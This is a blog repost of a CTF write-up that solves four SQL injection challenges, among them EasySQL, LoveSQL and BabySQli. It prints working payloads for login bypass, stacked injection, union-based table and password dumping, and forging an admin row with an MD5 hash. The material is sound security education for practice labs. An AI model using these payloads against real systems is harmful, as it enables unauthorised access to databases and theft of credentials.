SQL题

[极客大挑战 2019]EasySQL

进行简单的尝试,就知道是单引号的字符型注入

 万能密码进行一个简单的尝试

结果就出来了

还是要了解一下原理

输入的是1',形成的sql语句是错误的
SELECT*FROM table_name WHERE username='1''and password='123';
第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。

[SUCTF 2019]EasySQL

当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有

我们就直接尝试一下命令

1;show databases;

1;show tables;  发现一个表为flag

 猜答案应该就会在flag表中,那么就可以查一下看看

1;show columns from Flag   (1;show columns from用来查询表中列名称)

没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。

修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;

也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能

|| 变成类似 concat() 函数

看看后台的查询语句

$sql = "select ".$post['query']."||flag from Flag";

区别

在MySQL中,操作符||表示“或”逻辑     也就是只要有一个为真就可以为真了。

mssql中||表示连接操作符,不表示或的逻辑

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。

payload

1;set sql_mode=pipes_as_concat;select 1

非预期

尝试之后就会发现没有过滤*

payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag

先查找全部,再去查找1

最后也是可以拿到结果的

[极客大挑战 2019]LoveSQL

尝试一下万能密码

 看看回显位置

1' union select 1,2,3#

发现是在2和3 回显

字段

1'order by 4#

只有三个字段

数据库

1' union select 1,database(),version()#

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 发现有二张表

geekuser
l0ve1ysq1

先看第一个

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

下一个也是一样的

也是先读取第一张表的内容

1' union select 1,2,group_concat(id,username,password) from geekuser#

 

 下一张表的内容

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

 

 发现这一张表的内容有许多,在后面就会发现答案。

[GXYCTF2019]BabySQli

 看看源代码

 base32后base64

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号

 到这里就暂时没有思路了

先看看列数

1' order by 1,2,3#

是不是被过滤了,大写看看

 就知道有三列,并且还过滤了order

回显位置

1' union select 1,2,3#

 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

eg

select * from user where username = 'wxs' union select 1,'admin','123456';

 临时创建了一个admin用户,密码是123456

那就可以随便构建一个密码

123456

MD5  e10adc3949ba59abbe56e057f20f883e

payload

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

 

 数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/144952.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

01Urllib

1.什么是互联网爬虫? 如果我们把互联网比作一张大的蜘蛛网,那一台计算机上的数据便是蜘蛛网上的一个猎物,而爬虫程序就是一只小蜘蛛,沿着蜘蛛网抓取自己想要的数据 解释1:通过一个程序,根据Url(http://www.…

Flutter应用-使用sqflite升级数据库

文章目录 问题描述具体做法代码示例更多条件限制升级 数据库迁移和备份简介数据库迁移数据库备份 问题描述 使用fluttter开发的应用程序发布后,发现数据库有些设计不合理。如何来更新数据库呢? 使用sqflite来处理数据库,但是第一版软件发布后…

JQuery ajax 提交数据提示:Uncaught TypeError:Illegal invocation

JQuery ajax 提交数据提示:Uncaught TypeError:Illegal invocation 1 问题描述 用jQuery Ajax向DRF接口提交数据的时候,console提示:Uncaught TypeError:Illegal invocation(未捕获的异常:非法调用)。 这个问题可能有两种原因导…

Zookeeper学习笔记(1)—— 基础知识

Zookeeper概述 Zookeeper 是一个开源的分布式的,为分布式框架提供协调服务的 Apache 项目 工作机制 Zookeeper从设计模式角度来理解:是一个基于观察者模式设计的分布式服务管理框架,它负责存储和管理大家都关心的数据,然后接受…

LeetCode700. Search in a Binary Search Tree

文章目录 一、题目二、题解 一、题目 You are given the root of a binary search tree (BST) and an integer val. Find the node in the BST that the node’s value equals val and return the subtree rooted with that node. If such a node does not exist, return nul…

ClickHouse UDF 运行速度慢问题

一、环境版本 环境版本docker clickhouse22.3.10.22 二、UDF运行速度时快时慢 udf配置文件xxx_function.xml type- 可执行类型。如果type设置为executable则启动单个命令。如果设置为,executable_pool则创建命令池。 pool_size- 命令池的大小。可选参数&#xff…

【AI视野·今日Robot 机器人论文速览 第六十三期】Thu, 26 Oct 2023

AI视野今日CS.Robotics 机器人学论文速览 Fri, 27 Oct 2023 Totally 27 papers 👉上期速览✈更多精彩请移步主页 Daily Robotics Papers 6-DoF Stability Field via Diffusion Models Authors Takuma Yoneda, Tianchong Jiang, Gregory Shakhnarovich, Matthew R. …

微软Surface/Surface pro笔记本电脑进入bios界面

微软Surface笔记本电脑进入bios界面 方法一推薦這種方法:Surface laptop 进BIOS步骤 开机后,不停按音量键进bios界面。 方法二:Surface Book、Surface Pro进bios步骤 1、关闭Surface,然后等待大约10秒钟以确保其处于关闭状态。…

SQL中的数据类型和规范化,助力数据存储优化

大家好,目前优化数据存储对于获得良好的性能始终至关重要,选择合适的数据类型并应用正确的规范化过程对于决定其性能至关重要。本文将介绍最重要和最常用的数据类型和规范化过程。 一、SQL中的数据类型 SQL中主要有两种数据类型:字符串和数…

jquery常用方法积累

01-text() text() 是 jQuery 库中的一个方法,它用两个作用: ①用于获取匹配元素的文本内容。 ②用于设置匹配元素的文本内容 ①当 text() 方法被用于获取文本时,它会返回所有匹配元素的文本内容,并将它们连接成一个字符串。例如…

小程序action-sheet结合自定义tabbar显示

要实现此效果,遇到的问题:背景在电脑端调试的情况正常的情况下,手机端点击事件工单,返回回来的时候action-sheet卡住在屏幕上,点击遮罩层都不消失。更奇怪的是 这种情况并不是每次发生,而是有时候发生&…

给VSCode插上一双AI的翅膀

#AI编程助手哪家好?DevChat“真”好用# 文章目录 前言一、安装DevChat1.1、访问地址1.2、注册1.3、在VSCode里安装DevChat插件1.3.1、未安装状态1.3.2、已安装状态 二、设置Access Key2.1. 点击左下角管理(“齿轮”图标)—命令面板&#xff…

DNS域名解析服务

1.概述 1.1.产生原因 IP 地址:是互联网上计算机唯一的逻辑地址,通过IP 地址实现不同计算机之间的相互通信,每台联网计算机都需要通过I 地址来互相联系和分别,但由于P 地址是由一串容易混淆的数字串构成,人们很难记忆所有计算机的…

【7】Spring Boot 3 集成组件:缓存组件 spring cache + spring data redis

目录 【7】Spring Boot 3 集成组件:缓存组件 spring cache spring data redis什么是缓存抽象声明式注解JSR-107对应SpEL上下文数据 引入依赖cache 支持的缓存类型缓存类型配置NONESIMPLEREDIS自定义配置 CAFFEINE Hazelcast...总结 个人主页: 【⭐️个人主页】 需要…

企业邮箱认证指南:安全与高效的邮箱认证方法

企业邮箱是专门为企业提供的电子邮件服务,安全性和专业性更高。在开始使用企业邮箱之前,很多人会有一些问题,比如企业邮箱需要认证吗、如何开通企业邮箱,以及哪款企业邮箱好。 1、企业邮箱在使用前需要认证吗? 答案是肯…

flume异常关闭文件修复方法

​ flume在从kafka采集数据后,会将数据写入到hdfs文件中。在写入过程中,由于集群负载、资源或者网络原因会导致文件没有正常关闭,即文件表现为tmp格式,这种格式的文件从hdfs往hive分区load数据时,会导致数据无法查询问题。 flume写…

golang学习笔记——指针

文章目录 指针Go语言中的指针与C语言的区别Go语言中的指针—newGo语言中的指针—makenew与make的区别 参考资料 指针 Go语言中的指针与C语言的区别 区别于C/C中的指针&#xff0c;Go语言中的指针不能进行偏移和运算&#xff0c;是安全指针。 C语言 #include <stdio.h>…

esp-01刷固件/下载软件到内部单片机的方法

此文章为转载&#xff0c;非原创 一、准备 需要准备三个东西&#xff1a; 1.esp模块。ESP-01 和 ESP-01s 的引脚及 flash 容量基本完全兼容&#xff0c;只是内部硬件设计粗糙与否的区别&#xff0c;所以理论上都适用。 2.官方固件。此部分可以从安信可官方教程中下载&#xff0…

WPF实现将鼠标悬浮在按钮上时弹出菜单

在WPF 中&#xff0c;要实现当鼠标悬停在按钮上时显示菜单&#xff0c;并能够灵活设置菜单的位置&#xff08;如按钮的上方或下方&#xff09;&#xff0c;你可以使用 Popup 控件来创建自定义的弹出菜单。以下是如何通过 Popup 控件来实现这种功能的步骤&#xff1a; 1. 在 XA…

MySQL库的操作『增删改查 ‖ 编码问题 ‖ 备份与恢复』

✨个人主页&#xff1a; 北 海 &#x1f389;所属专栏&#xff1a; MySQL 学习 &#x1f383;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 &#x1f381;软件版本&#xff1a; MySQL 5.7.44 文章目录 1.创建数据库2.数据库中的编码问题2.1.字符集与校验集2.3.支持的字符…